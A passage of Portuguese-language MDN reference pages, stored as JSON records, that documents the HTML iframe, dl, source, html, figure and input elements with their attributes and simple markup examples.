iframes.</p>\n</iframe>\n```\n\nExemplo 2: Open link inside iframe in another tab\n-------------------------------------------------\n\n\n```html\n<base target=\"\\_blank\" />\n<iframe\n width=\"400\"\n height=\"215\"\n frameborder=\"0\"\n scrolling=\"no\"\n marginheight=\"0\"\n marginwidth=\"0\"\n src=\"https://maps.google.com/maps?f=q&amp;source=s\\_q&amp;hl=es-419&amp;geocode=&amp;q=buenos+aires&amp;sll=37.0625,-95.677068&amp;sspn=38.638819,80.859375&amp;t=h&amp;ie=UTF8&amp;hq=&amp;hnear=Buenos+Aires,+Argentina&amp;z=11&amp;ll=-34.603723,-58.381593&amp;output=embed\">\n</iframe\n><br />\n<small>\n  <a\n href=\"https://maps.google.com/maps?f=q&amp;source=embed&amp;hl=es-419&amp;geocode=&amp;q=buenos+aires&amp;sll=37.0625,-95.677068&amp;sspn=38.638819,80.859375&amp;t=h&amp;ie=UTF8&amp;hq=&amp;hnear=Buenos+Aires,+Argentina&amp;z=11&amp;ll=-34.603723,-58.381593\"\n style=\"color:#0000FF;text-align:left\">\n    See bigger map\n  </a>\n</small>\n```\n\nResultado\n---------\n\nLive example\n\nNotas\n-----\n\n> \n> **Note:** Starting in Gecko 6.0, rendering of inline frames correctly respects the borders of their containing element when they're rounded using `border-radius` (en-US).\n> \n> \n> \n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-iframe-element |\n\nCompatibilidade dos navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"dl - HTML: Linguagem de Marcação de Hipertexto","text":"dl\n==\n\nResumo\n------\n\nO elemento HTML *Definition List* (`<dl>`) engloba uma lista de pares de termos e descrições. Um uso comum para este elemento é para implementar um glossário ou exibir metadados(uma lista de pares chave e valor).\n\nContexto de Uso\n---------------\n\n| Conteúdo permitido | Zero ou mais elementos `<dt>`, cada um seguido de um ou mais elementos `<dd>` |\n| --- | --- |\n| Omissão de Tag | Nenhum, este é um elemento vazio. |\n| Permite elementos pai | Qualquer elemento que aceite conteúdo de fluxo. |\n| Documentação normativa | HTML5, section 4.5.8; HTML 4.01, section 10.3 |\n\nAtributos\n---------\n\nComo todo elemento HTML, ele fornece os attributos globais.\n\n`compact` \nNon-standard\n\nObriga a definição da descrição aparecer na mesma linha que a definição do termo. Funciona apenas no Internet Explorer.\n\nExemplos\n--------\n\n### Termo e definição única\n\n\n```html\n<dl>\n  <dt>Firefox</dt>\n  <dd>\n    A free, open source, cross-platform, graphical web browser developed by the\n    Mozilla Corporation and hundreds of volunteers.\n  </dd>\n\n  <!-- other terms and definitions -->\n</dl>\n```\n\n\nOutput:\n\n![Image:HTML-dl1.png](/pt-BR/docs/Web/HTML/Element/dl/html-dl1.png)\n\n### Múltiplos termos, definição única\n\n\n```html\n<dl>\n  <dt>Firefox</dt>\n  <dt>Mozilla Firefox</dt>\n  <dt>Fx</dt>\n  <dd>\n    A free, open source, cross-platform, graphical web browser developed by the\n    Mozilla Corporation and hundreds of volunteers.\n  </dd>\n\n  <!-- other terms and definitions -->\n</dl>\n```\n\n\nSaída:\n\n![Image:HTML-dl2.png](/pt-BR/docs/Web/HTML/Element/dl/html-dl2.png)\n\n### Termo único, múltiplas definições\n\n\n```html\n<dl>\n  <dt>Firefox</dt>\n  <dd>\n    A free, open source, cross-platform, graphical web browser developed by the\n    Mozilla Corporation and hundreds of volunteers.\n  </dd>\n  <dd>\n    The Red Panda also known as the Lesser Panda, Wah, Bear Cat or Firefox, is a\n    mostly herbivorous mammal, slightly larger than a domestic cat (60 cm long).\n  </dd>\n\n  <!-- other terms and definitions -->\n</dl>\n```\n\n\nSaída:\n\n![Image:HTML-dl3.png](/pt-BR/docs/Web/HTML/Element/dl/html-dl3.png)\n\n### Múltiplos termos e definições\n\nTambém é possível definir vários termos com as definições múltiplas correspondentes, combinando com os exemplos acima.\n\nInterface DOM\n-------------\n\n* HTMLDListElement\nNotas\n-----\n\nNão use este elemento, (nor `<ul>` elements), para criar meramente um recuo em uma página. Embora ele funcione, está é uma má prática e obscurece o significado da lista de definição.\n\nPara mudar a indentação de um termo, use a propriedade CSS margin.\n\nCompatibilidade de navegadores\n------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Elemento `<dt>`\n* Elemento `<dd>`"}
{"title":"source - HTML: Linguagem de Marcação de Hipertexto","text":"source\n======\n\nSumário\n-------\n\nO elemento `source` é utilizado para especificar múltiplos recursos de mídia de elementos `<picture>`, `<audio>` ou `<video>` em HTML5. É um elemento vazio. É normalmente usado para disponibilizar multiple formats supported by different browsers.\n\nContexto de uso\n---------------\n\n| Conteúdo permitido | Nenhum; isso é um elemento vazio. |\n| --- | --- |\n| Omissão de tag | Deve ter uma tag de início, mas não deve ter uma tag de fim. |\n| Elementos pais permitidos | `<picture>`, `<audio>`, `<video>` |\n| Documento normativo | HTML5, section 4.8.8 |\n\nAtributos\n---------\n\nComo todos os outros elementos de HTML, esse elemento suporta os global attributes.\n\n`src`\n\nRequerido, endereço do arquivo de mídia.\n\n`type`\n\nO tipo MIME do arquivo, opcionalmente com um parametro de `codecs`. Veja o RFC 4281 para informações sobre como especificar codec.\n\n`media`\n\nDefinição do tipo de mídia (Media query) pretendido.\n\nSe o atributo **type** não está especificado, o tipo da mídia é obtido no servidor e é verificado se o Gecko consegue reproduzi-lo; se não for possível reproduzi-lo, o próximo **source** é verificado. Se o atributo **type** está definido, ele é comparado aos tipos que o Gecko consegue reproduzir, e se não for reconhecido, o servido não é solicitado; ao invés disso, o próximo elemento **source** é verificado.\n\nInterface do DOM\n----------------\n\nEsse elemento implementa a interface `HTMLSourceElement`.\n\nExemplos\n--------\n\nEsse exemplo demonstra como oferecer um vídeo no formato Ogg para usuários em que os navegadores suporta o formato Ogg, e um formato QuickTime para os usuários que o suporta. Se os elementos `audio` ou `video` não forem suportados pelo navegador, um aviso será mostrado. Se o navegador suportar o elemento, mas não suportar nenhum dos formatos especificados, um evento de `error` será lançado e os controles padrões de mídia (se ativados) indicarão o erro. Veja também a lista de media formats supported by the audio and video elements em vários navegadores.\n\n\n```html\n<video controls>\n  <source src=\"foo.ogg\" type=\"video/ogg\" />\n  <!-- Escolhido pelo Firefox -->\n  <source src=\"foo.mov\" type=\"video/quicktime\" />\n  <!-- Escolhido pelo Safari -->\n  Desculpa; seu navegador não é compatível com vídeo em HTML5.\n</video>\n```\n\n\nPara mais exemplos, veja Using audio and video in Firefox.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"<html> - HTML: Linguagem de Marcação de Hipertexto","text":"<html>\n======\n\nSumário\n-------\n\nO elemento \\*\\*HTML <html> \\*\\*(ou *HTML root element*) representa a raiz de um HTML ou XHTML documento. Todos os outros elementos devem ser descendentes desse elemento.\n\n* *Categorias de conteúdo (en-US)* Nenhuma.\n* *Conteúdo permitido* Um elemento `<head>`, seguido por um elemento `<body>`.\n* *Omissão de tag* A tag inicial pode ser omitida se a primeira coisa dentro do elemento `<html>` não for um comentário.\n A tag final pode ser omitida se o elemento `<html>` não for imediatamente seguido por um comentário, e conter um elemento `<body>` ou que não está vazio, ou cuja tag inicial está presente.\n* *Elementos pais permitidos* Como o elemento raiz do documento, ou qualquer fragmento de subdocumento é permitido em um documento composto.\n* *DOM interface* `HTMLhtmlElement` (en-US)\nAtributos\n---------\n\nEsse elemento inclui os atributos globais (en-US).\n\n`manifest` \nDeprecated\n\nNon-standard\n\nEspecifica a URI de um recurso manifest indicando os recursos que devem ser carregados na memória local. Veja Recursos offline em Firefox para detalhes.\n\n`version` \nDeprecated\n\nEspecifica a versão da definição de tipo de documento HTML que governa o documento atual. Esse atributo não é necessário, porque é redundante com a informação de versão na declaração de tipo de documento.\n\nExemplo\n-------\n\nO DOCTYPE usado no exemplo seguinte indica HTML5.\n\n\n```html\n<!doctype html>\n<html>\n  <head>\n    ...\n  </head>\n  <body>\n    ...\n  </body>\n</html>\n```\n\nNotas\n-----\n\nDesde que o elemento `<html>` seja o primeiro em documento outro que comenta, esse é chamado o elemento raiz. Embora essa tag possa ser implícita, ou não requerida, com HTML, essa é requerida para ser aberta e fechada em XHTML.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-html-element |\n\nCompatibilidade dos navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Elemento de alto nível MathML: `<math> (en-US)`\n* Elemento de alto nível SVG: `<svg>`"}
{"title":"<figure>: O elemento Figure com Caption opcional - HTML: Linguagem de Marcação de Hipertexto","text":"<figure>: O elemento Figure com Caption opcional\n================================================\n\nO elemento **`<figure>`** HTML representa conteúdo autocontido, potencialmente com uma legenda opcional, que é especificada usando o `<figcaption>` elemento. A figura, sua legenda e seu conteúdo são referenciados como uma única unidade.\n\nExperimente\n-----------\n\n|  |  |\n| --- | --- |\n| Categorias de conteúdo | Conteudo de fluxo,\n conteúdo palpável.\n  |\n| Conteúdo permitido | \n Um elemento `<figcaption>`, seguido por\n conteúdo de fluxo; ou conteúdo de fluxo seguido por um\n `<figcaption>` elemento; ou conteúdo de fluxo.\n  |\n| Omissão de tag | None, both the starting and ending tag are mandatory. |\n| Pais permitidos | \n Qualquer elemento que aceite\n Contúdo de fluxo.\n  |\n| Função ARIA implícita | figure (en-US) |\n| Funções ARIA permitidas | \n Com nenhum\n figcaption descendente:\n qualquer,\n caso contrário, não há papéis permitidos\n  |\n| interface DOM | `HTMLElement` (en-US) |\n\nAtributos\n---------\n\nEste elemento inclui apenas os atributos globais.\n\nNotas de uso\n------------\n\n* Normalmente uma `<figure>` é uma imagem, ilustração, diagrama, trecho de código, etc., que é referenciado no fluxo principal de um documento, mas que pode ser movido para outra parte do documento ou para um apêndice sem afetar o fluxo principal.\n* Uma legenda pode ser associada ao elemento `<figure>` inserindo um `<figcaption>` dentro dele (como o primeiro ou o último filho). O primeiro elemento `<figcaption>` encontrado na figura é apresentado como legenda da figura.\nExemplos\n--------\n\n### Imagens\n\n\n```html\n<!-- Apenas uma imagem -->\n<figure>\n  <img src=\"favicon-192x192.png\" alt=\"O lindo logotipo do MDN.\" />\n</figure>\n\n<!-- Imagem com legenda -->\n<figure>\n  <img src=\"favicon-192x192.png\" alt=\"O lindo logotipo do MDN.\" />\n  <figcaption>Logotipo MDN</figcaption>\n</figure>\n```\n\n### Trechos de codigo\n\n\n```html\n<figure>\n  <figcaption>\n    Obtenha detalhes do navegador usando o <code>navigator</code>.\n  </figcaption>\n  <pre>\nfunction NavigatorExample() {\n  var txt;\n  txt = \"Nome do código do navegador: \" + navigator.appCodeName + \"; \";\n  txt+= \"Nome do navegador: \" + navigator.appName + \"; \";\n  txt+= \"Versão do navegador: \" + navigator.appVersion + \"; \";\n  txt+= \"Cookies habilitados: \" + navigator.cookieEnabled + \"; \";\n  txt+= \"Plataforma: \" + navigator.platform + \"; \";\n  txt+= \"Cabeçalho do agente do usuário: \" + navigator.userAgent + \"; \";\n  console.log(\"Exemplo de Navegador\", txt);\n}\n  </pre>\n</figure>\n```\n\n### Citações\n\n\n```html\n<figure>\n  <figcaption><b>Edsger Dijkstra:</b></figcaption>\n  <blockquote>\n    Se a depuração é o processo de remoção de bugs de software, então a\n    programação deve ser o processo de colocá-los.\n  </blockquote>\n</figure>\n```\n\n### Poemas\n\n\n```html\n<figure>\n  <p style=\"white-space:pre\">\n    Ofereça-me um discurso, encantarei seu ouvido, Ou como uma viagem de fadas\n    sobre o verde, Ou, como uma ninfa, com longos cabelos desgrenhados, Dança na\n    areia, e mas nenhum fundamento visto: O amor é um espírito todo compacto de\n    fogo, Não grosseiro para afundar, mas leve, e vai aspirar.\n  </p>\n  <figcaption><cite>Vênus e Adônis</cite>, de William Shakespeare</figcaption>\n</figure>\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-figure-element |\n\nCompatibilidade do navegador\n----------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* O elemento `<figcaption>`."}
{"title":"<input> - HTML: Linguagem de Marcação de Hipertexto","text":"<input>\n=======\n\nO **elemento HTML `<input>`** é usado para criar controles interativos para formulários baseados na web para receber dados do usuário. A semântica de um `<input>` varia consideravelmente dependendo do valor de seu atributo `type`.\n\n* *Categorias de conteúdo* Conteúdo de fluxo, listado, enviável, resetável, elemento associado a formulário, conteúdo fraseado.\n Se o atributo `type` não tiver o valor `hidden`, elemento rotulável, conteúdo palpável.\n* *Conteúdo permitido* Nenhum, este é um elemento vazio.\n* *Omissão de tags* Deve ter uma tag de abertura e não deve ter uma tag de fechamento.\n* *Elementos pais permitidos* Qualquer elemento que aceite conteúdo fraseado.\n* *Interface do DOM* `HTMLInputElement`\nAtributos\n---------\n\nEste elemento inclui os atributos globais.\n\n`type`\n\nO tipo de controle a ser exibido. O tipo padrão é **text**, se este atributo não for especificado. Os valores possíveis são:\n\n* `button`: Um botão sem comportamento padrão.\n* `checkbox`: Uma caixa de marcação. Você deve usar o atributo **value** para definir o valor enviado por este item. Use o atributo **checked** para indicar se o item está selecionado por padrão. Você também pode usar o atributo **indeterminate** para indicar que a caixa de marcação está em um estado indeterminado (na maioria das plataformas, isso desenha uma linha horizontal cortando a caixa).\n* `color`: Um controle para especificar cores. A interface de um seletor de cores não tem nenhuma funcionalidade obrigatória a não ser aceitar cores simples em texto (mais informações — em inglês).\n* `date`: Um controle para inserir uma data (ano, mês e dia, sem horário).\n* `datetime`: Um controle para inserir data e horário (hora, minuto, segundo e fração de segundo) baseado no fuso horário UTC.\n* `datetime-local`: Um controle para inserir data e horário, sem fuso horário.\n* `email`: Um campo para editar um endereço de e-mail. O valor do campo é validado para estar vazio ou ter um único endereço de e-mail válido antes de ser enviado. As pseudoclasses CSS `:valid` e `:invalid` são aplicadas apropriadamente.\n* `file`: Um controle que permite ao usuário selecionar um arquivo. Use o atributo**accept** para definir os tipos de arquivo que o controle pode selecionar.\n* `hidden`: Um controle que não é exibido mas cujo valor é enviado ao servidor.\n* `image`: Um botão gráfico para enviar o formulário. Você deve usar o atributo **src** para definir a fonte da imagem e o atributo **alt** para definir um texto alternativo. Você pode usar os atributos **height** e **width** para definir o tamanho da imagem em pixels.\n* `month`: Um controle para inserir mês e ano, sem fuso horário.\n* `number`: Um controle para inserir um número de ponto flutuante.\n* `password`: Um campo de texto com uma só linha cujo valor é obscurecido. Use o atributo **maxlength** para especificar o comprimento máximo do valor que pode ser inserido.\n* `radio`: Um botão de escolha. Você deve usar o atributo **value** para definir o valor a ser enviado por este item. Use o atributo **checked** para indicar se este item deve estar selecionado por padrão. Botões de escolha que têm o mesmo valor para o atributo **name** estão no mesmo \"grupo de botões de escolha\"; apenas um botão de escolha no grupo pode estar selecionado de cada vez..\n* `range`: Um controle para inserir um número cujo valor exato não é importante. Este tipo de controle usa os seguintes valores padrão se os atributos correspondentes não forem especificados:\n    + `min`: 0\n    + `max`: 100\n    + `value`: `min` + (`max`-`min`)/2, ou `min` se `max` for menos que `min`\n    + `step`: 1\n* `reset`: Um botão que faz o conteúdo do formulário voltar a ter seus valores padrão.\n* `search`: Um campo de texto com uma só linha para digitar termos de busca; quebras de linha são automaticamente removidas do valor entrado.\n* `submit`: Um botão que envia o formulário.\n* `tel`: Um controle para inserir um número de telefone; quebras de linha são automaticamente removidas do valor entrado, mas nenhuma outra sintaxe é imposta. Você pode usar atributos como **pattern** e **maxlength** para restringir os valores inseridos no controle. As pseudoclasses CSS `:valid` e `:invalid` são aplicadas apropriadamente.\n* `text`: Um campo de texto com uma só linha; quebras de linha são automaticamente removidas do valor entrado.\n* `time`: Um controle para inserir um horário sem fuso horário.\n* `url`: Um campo para editar uma URL. O valor inserido é validado para ser vazio ou uma URL absoluta válida antes de ser enviado. Quebras de linha e espaços em branco antes e após o valor inserido são automaticamente removidos. Você pode usar atributos como **pattern** e **maxlength** para restringir os valores inseridos no controle. As pseudoclasses CSS `:valid` e `:invalid` são aplicadas apropriadamente.\n* `week`: Um controle para inserir uma data consistindo de ano da semana e número da semana sem fuso horário.\n\n`accept`\n\nSe o valor do atributo **type** for `file`, este atributo indica quais tipos de arquivo o servidor aceita; caso contrário, este atributo é ignorado. O valor deve ser uma lista de especificadores de tipo únicos separados por vírgula:\n\n* Uma extensão de arquivo começando com o caractere STOP (U+002E). (Exemplo: \".jpg,.png,.doc\")\n* Um tipo MIME válido sem extensões\n* `audio/*` representando arquivos de som\n* `video/*` representando arquivos de vídeo\n* `image/*` representando arquivos de imagem\n\n`mozactionhint` \nNon-standard\n\nEspecifica uma \"dica de ação\" usada para determinar como rotular a tecla Enter em dispositivos móveis com teclados virtuais. Os valores suportados são `go`, `done`, `next`, `search` e `send`; estes valores são automaticamente mapeados para o texto apropriado (maiúsculas e minúsculas não são diferenciadas).\n\n`autocapitalize` \nNon-standard\n\nEste é um atributo não padronizado usado pelo iOS Safari Mobile que controla se e como o texto deveria ser automaticamente capitalizado conforme o usuário insere/edita. Os valores não obsoletos estão disponíveis no iOS 5 e posteriores. Os valores possíveis são:\n\n* `none`: Desabilitar completamente a capitalização automática.\n* `sentences`: Capitalizar automaticamente a primeira letra das frases.\n* `words`: Capitalizar automaticamente a primeira letra das palavras.\n* `characters`: Capitalizar automaticamente todas as letras.\n* `on`: \nDeprecated\n Obsoleto desde o iOS 5.\n* `off`: \nDeprecated\n Obsoleto desde o iOS 5.\n\n`autocomplete`\n\nEste atributo indica se o valor do controle pode ser completado automaticamente pelo navegador. Este atributo é ignorado se o valor do atributo **type** é `hidden`, `password`, `checkbox`, `radio`, `file` ou um tipo de botão (`button`, `submit`, `reset`, `image`). Os valores possíveis são:\n\n* `off`: O usuário deve inserir explicitamente um valor neste campo a cada uso, ou o documento implementa seu próprio método de autocompletar; o navegador não completa a entrada automaticamente.\n* `on`: O navegador pode completar automaticamente o valor baseado em valores que o usuário inseriu no passado.\n\nSe o atributo **autocomplete** não está especificado num elemento `<input>`, o navegador usa o valor do atributo **autocomplete** do formulário dono do `<input>`. O formulário dono deste `<input>` é o elemento `<form>` que contém este `<input>` ou o elemento `<form>` cujo **id** é referenciado pelo atributo **form** do elemento `<input>`. Para mais informações, veja o atributo `autocomplete` (en-US) no elemento `<form>` (en-US).\n\nO atributo **autocomplete** também controla se o Firefox vai, ao contrário de outros navegadores, persistir o estado dinâmico de desabilitado e marcado (se aplicável) de um `<input>` entre carregamentos de página. A funcionalidade de persistir é habilitada por padrão. Definir o valor do atributo **autocomplete** para `off` desabilita esta funcionalidade; isto funciona mesmo quando o atributo **autocomplete** não se aplica ao `<input>` por causa de seu **type**. Veja Erro do Firefox 654072.\n\n`autocorrect` \nNon-standard\n\nEste é um atributo não padronizado suportado pelo Safari que é usado para controle se a correção automática deveria ser habilitada quando o usuário entra/edita o texto do `<input>`. Os valores possíveis são:\n\n* `on`: Habilita correção automática\n* `off`: Desabilita correção automática\n\n`autofocus`\n\nEste atributo booleano permite que você especifique que um controle de formulário deve ter o foco de entrada de dados assim que a página carrega, a não ser que o usuário sobrescreva este comportamento digitando em um controle diferente, por exemplo. Apenas um elemento de formulário em um documento pode ter o atributo **autofocus**, que é booleano. Este atributo não pode ser aplicado se o atributo **type** estiver definido como `hidden` (isto é, você não pode colocar automaticamente o foco em um controle escondido).\n\n`autosave`\n\nEste atributo deve ser definido com um valor único. Se o valor do atributo **type** for `search`, termos de busca anteriores serão persistidos no menu entre carregamentos de página.\n\n`checked`\n\nQuando o valor do atributo **type** é `radio` ou `checkbox`, a presença deste atributo booleano indica que o controle é selecionado por padrão; caso contrário, este atributo é ignorado.\n\nO Firefox vai, por padrão, ao contrário de outros navegadores, persistir o estado dinâmico de marcado de um `<input>` entre carregamentos de página. Use o atributo `autocomplete` para controlar esta funcionalidade.\n\n`disabled`\n\nEste atributo booleano indica que o controle de formulário não está disponível para interação. Em particular o evento `click` não será disparado em controles desabilitados. Além disso, o valor de um controle desabilitado não é enviado com o formulário.\n\nO Firefox vai, por padrão, ao contrário de outros navegadores, persistir o estado dinâmico de desabilitado de um `<input>` entre carregamentos de página. Use o atributo `autocomplete` para controlar esta funcionalidade.\n\n`form`\n\nO elemento `<form>` ao qual o elemento `<input>` está associado (seu *formulário dono*). O valor do atributo deve ser um **id** de um elemento `<form>` (en-US). Este atributo permite que você coloque elementos `<input>` em qualquer lugar num documento, não apenas como descendentes de seus elementos `<form>`. Um `<input>` só pode estar associado a um único formulário.\n\n`formaction`\n\nA URI de um programa que processa a informação enviada pelo elemento, se ele for um botão ou uma imagem de envio de formulário. Se especificado, ele sobrescreve o atributo `action` (en-US) do formulário dono do elemento.\n\n`formenctype`\n\nSe o elemento for um botão ou uma imagem de envio de formulário, este atributo especifica o tipo de conteúdo que deve ser usado para enviar o formulário para o servidor. Os valores possíveis são:\n\n* `application/x-www-form-urlencoded`: O valor padrão se o atributo não for especificado.\n* `multipart/form-data`: Use este valor se você estiver usando um elemento `<input>` com o atributo `type` definido como `file`.\n* `text/plain`\n\nSe este atributo for especificado, ele sobrescreve o atributo `enctype` (en-US) do formulário dono do elemento.\n\n`formmethod`\n\nSe o elemento for um botão ou uma imagem de envio de formulário, este atributo especifica o método HTTP que o navegador deve usar para enviar o formulário. Os valores possíveis são:\n\n* `post`: Os dados do formulário são incluídos no corpo do formulário e enviados para o servidor.\n* `get`: Os dados do formulário são acrescentados ao URI do atributo **form**, com um '?' como separador, e o URI resultante é enviado ao servidor. Use este método quando o formulário não tem efeitos colaterais e contém somente caracteres ASCII.\n\nSe especificado, este atributo sobrescreve o atributo `method` (en-US) do formulário dono do elemento.\n\n`formnovalidate`\n\nSe o elemento for um botão ou uma imagem de envio de formulário, este atributo booleano especifica que o formulário não deve ser validado quando enviado. Se especificado, este atributo sobrescreve o atributo `novalidate` (en-US) do formulário dono do elemento.\n\n`formtarget`\n\nSe o elemento for um botão ou uma imagem de envio de formulário, este atributo é um nome ou palavra-chave indicando onde mostrar a resposta recebida após a submissão do formulário. Este é o nome de, ou palavra-chave para, um *contexto de navegação* (por exemplo aba, janela ou frame inline). Se especificado, este atributo sobrescreve o atributo `target` (en-US) do formulário dono do elemento. As seguintes palavras-chave têm significado especial:\n\n* `_self`: Carrega a resposta nom mesmo contexto de navegação que o atual. Este é o valor padrão se o atributo não for especificado.\n* `_blank`: Carrega a resposta num novo contexto de navegação anônimo.\n* `_parent`: Carrega a resposta no contexto de navegação pai do atual. Se não houver pai, esta opção tem o mesmo comportamento de `_self`.\n* `_top`: Carrega a resposta no contexto de navegação raiz (isto é, o contexto de navegação que é ancestral do atual e não tem pai). Se não houver pai, esta opção tem o mesmo comportamento de `_self`.\n\n`height`\n\nSe o valor do atributo **type** for `image`, este atributo define a altura da imagem mostrada para o botão.\n\n`incremental` \nNon-standard\n\nEste é um atributo não padronizado suportado pelo Safari que é aplicado somente quando o **type** é `search`. Se o atributo estiver presente, independentemente do valor que ele tiver, o `<input>` dispara eventos `search` (en-US) conforme o usuário edita o texto do campo. Este evento somente é disparado um tempo após a última tecla ter sido pressionada; este tempo é definido pela implementação e novas digitações zeram o contador de tempo. Em outras palavras, o disparo do evento é filtrado (*debounced*). Se o atributo não estiver presente, o evento `search` (en-US) só é disparado quando o usuário iniciar explicitamente uma busca (por exemplo, pressionando a tecla Enter enquanto estiver no campo).\n\n`inputmode`\n\nUma dica para o navegador de qual teclado deve ser mostrado. Este atributo se aplica quando o valor do atributo **type** é `text`, `password`, `email` ou `url`. Os valores possíveis são:\n\n* `verbatim`: Conteúdo alfanumérico que não seja prosa, como nomes de usuário e senhas.\n* `latin`: Conteúdo no alfabeto latino na língua preferida do usuário, com auxílios de entrada como predição de texto habilitados. Para interações humano-computador como caixas de busca.\n* `latin-name`: Como *latin*, mas para nomes humanos.\n* `latin-prose`: Como *latin*, mas com auxílios de entrada mais agressivos. Para comunicações entre humanos como mensagens instantâneas ou email.\n* `full-width-latin`: Como *latin-prose*, mas para as línguas secundárias do usuário.\n* `kana`: Entrada em kana ou romaji, tipicamente hiragana, usando caracteres de largura total, com suporte à conversão para kanji. Para entrada de texto em língua japonesa.\n* `katakana`: Entrada em katakana, usando caracteres de largura total, com suporte à conversão para kanji. Para entrada de texto em língua japonesa.\n* `numeric`: Entrada numérica, incluindo teclas para os dígitos de 0 a 9, o caractere separador de milhar preferido pelo usuário e o caractere para indicar números negativos. Para códigos numéricos como números de cartão de crédito. Para números de verdade, prefira usar `<input type=\"number\">`\n* `tel`: Entrada de números de telefone, incluindo as teclas asterisco e cerquilha. Use `<input type=\"tel\">` se possível em vez disso.\n* `email`: Entrada de email. Use `<input type=\"email\">` se possível em vez disso.\n* `url`: Entrada de URLs. Use `<input type=\"url\">` se possível em vez disso.\n\n`list`\n\nIdentifica uma lista de opções pré-definidas de sugestões para o usuário. O valor deve ser o **id** de um elemento `<datalist>` no mesmo documento. O navegador mostrará apenas opções que são valores válidos para este elemento. Este atributo é ignorado quando o valor do atributo **type** é `hidden`, `checkbox`, `radio`, `file` ou um tipo de botão.\n\n`max`\n\nO valor máximo (numérico ou data) para este item, que não deve ser menor que seu valor mínimo (atributo **min**).\n\n`maxlength`\n\nSe o valor do atributo **type** for `text`, `email`, `search`, `password`, `tel` ou `url`, este atributo especifica o número máximo de caracteres (em pontos de código Unicode) que o usuário pode inserir; para outros tipos de controle, este atributo é ignorado. Seu valor pode exceder o do atributo **size**. Se não for especificado, o usuário pode inserir uma quantidade ilimitada de caracteres. Especificar um valor negativo resulta no comportamento padrão, isto é, o usuário vai poder inserir um número ilimitado de caracteres. Esta regra só é validada quando o valor do atributo é modificado.\n\n`min`\n\nO valor mínimo (númerico ou data) para este item, que não deve ser maior do que seu máximo (atributo **max**).\n\n`minlength`\n\nSe o valor do atributo **type** for `text`, `email`, `search`, `password`, `tel` ou `url`, este atributo especifica o número mínimo de caracteres (em pontos de código Unicode) que o usuário pode inserir; para outros tipos de controle, este atributo é ignorado.\n\n`multiple`\n\nEste atributo booleano indica se o usuário pode inserir mais de um valor. Ele é aplicado quando o atributo **type** está definido como `email` ou `file`; em outros casos, é ignorado.\n\n`name`\n\nO nome do controle, que é enviado junto com os dados do formulário.\n\n`pattern`\n\nUma expressão regular usada para validar o valor do controle. O padrão deve casar com o valor completo da entrada, não apenas uma parte. Use o atributo **title** para descrever o padrão para ajudar o usuário. Este atributo é aplicado quando o valor do atributo **type** é `text`, `search`, `tel`, `url` ou `email`; caso contrário ele é ignorado. A linguagem da expressão regular é a mesma do JavaScript. O padrão não deve estar entre barras.\n\n`placeholder`\n\nUma dica para o usuário do que ele pode inserir no controle. O texto do atributo não deve conter quebras de linha. Este atributo é aplicado quando o valor do atributo **type** é `text`, `search`, `tel`, `url` ou `email`; caso contrário, ele é ignorado.\n\n**Nota:** Não use o atributo `placeholder` no lugar de um elemento `<label>`. Os propósitos de cada um são diferentes: o atributo `<label>` descreve o papel o elemento do formulário, isto é, ele indica que tipo de informação é esperada. Já o atributo `placeholder` é uma dica sobre o formato que o conteúdo deveria ter. Há casos em que o atributo `placeholder` nunca é exibido para o usuário, portanto o formulário deve ser inteligível sem ele.\n\n`readonly`\n\nEste atributo booleano indica que o usuário não pode modificar o valor do controle.\n\nEste atributo é ignorado se o valor do atributo **type** for `hidden`, `range`, `color`, `checkbox`, `radio`, `file` ou um tipo de botão.\n\n`required`\n\nEste atributo especifica que o usuário deve preencher o campo com um valor antes de enviar o formulário. Ele não pode ser usado quando o atributo **type** está definido como `hidden`, `image` ou um tipo de botão (`submit`, `reset` ou `button`). As pseudoclasses CSS `:optional` e `:required` serão aplicadas ao campo como for apropriado.\n\n`selectionDirection`\n\nA direção na qual a seleção ocorreu. Vale `forward` se a seleção foi feita no mesmo sentido da escrita do idioma usado ou `backward` se a seleção foi feita na direção oposta. Pode ainda ser `none` se a direção da seleção não for conhecida.\n\n`size`\n\nO tamanho inicial do controle. Este valor é em pixels a não ser que o valor do atributo **type** seja `text` ou `password`. Neste caso, este valor é um número inteiro de caracteres. A partir do HTML5, este atributo é aplicado apenas quando o atributo **type** está definido como `text`, `search`, `tel`, `url`, `email` ou `password`; caso contrário, ele é ignorado. Além disso, o tamanho deve ser maior que zero. Se você não especificar um tamanho, o valor padrão 20 é usado.\n\n`spellcheck`\n\nDefinir o valor deste atributo como `true` indica que o elemento deve passar por um corretor ortográfico e gramatical. O valor `default` indica que o elemento deve agir de acordo com seu comportamento padrão, possivelmente baseado no valor do atributo `spellcheck` de seu elemento pai. O valor `false` indica que o elemento não deve ser verificado.\n\n`src`\n\nSe o valor do atributo **type** for `image`, este atributo especifica uma URI para a localização de uma imagem a ser exibida no botão gráfico; caso contrário, este atributo é ignorado.\n\n`step`\n\nTrabalha junto com os atributos **min** e **max** para limitar os incrementos em que valores numéricos ou datas podem ser alterados. Seu valor pode ser `any` ou um número de ponto flutuante positivo. Se o valor não for `any`, o controle aceita somente valores múltiplos valor do incremento maiores que o mínimo.\n\n`tabindex`\n\nA posição do elemento na ordem de navegação pela tecla Tab no documento atual.\n\n`value`\n\n O valor inicial do controle. Este atributo é opcional exceto quando o valor do atributo **type** for `radio` ou `checkbox`.\n Note que, quando a página é recarregada, Gecko and IE ignorarão o valor especificado no código HTML se o valor tiver sido alterado antes do recarregamento.\n\n\n`width`\n\nSe o valor do atributo **type** for `image`, este atributo define a largura da imagem exibida para o botão.\n\n`x-moz-errormessage` \nNon-standard\n\nEssa extensão da Mozilla permite que você especifique a mensagem de erro a ser exibida quando um campo não valida com sucesso.\n\nNotas\n-----\n\n### Entradas de arquivo\n\n**Nota:** a partir do Gecko 2.0, chamar o método `click()` num elemento 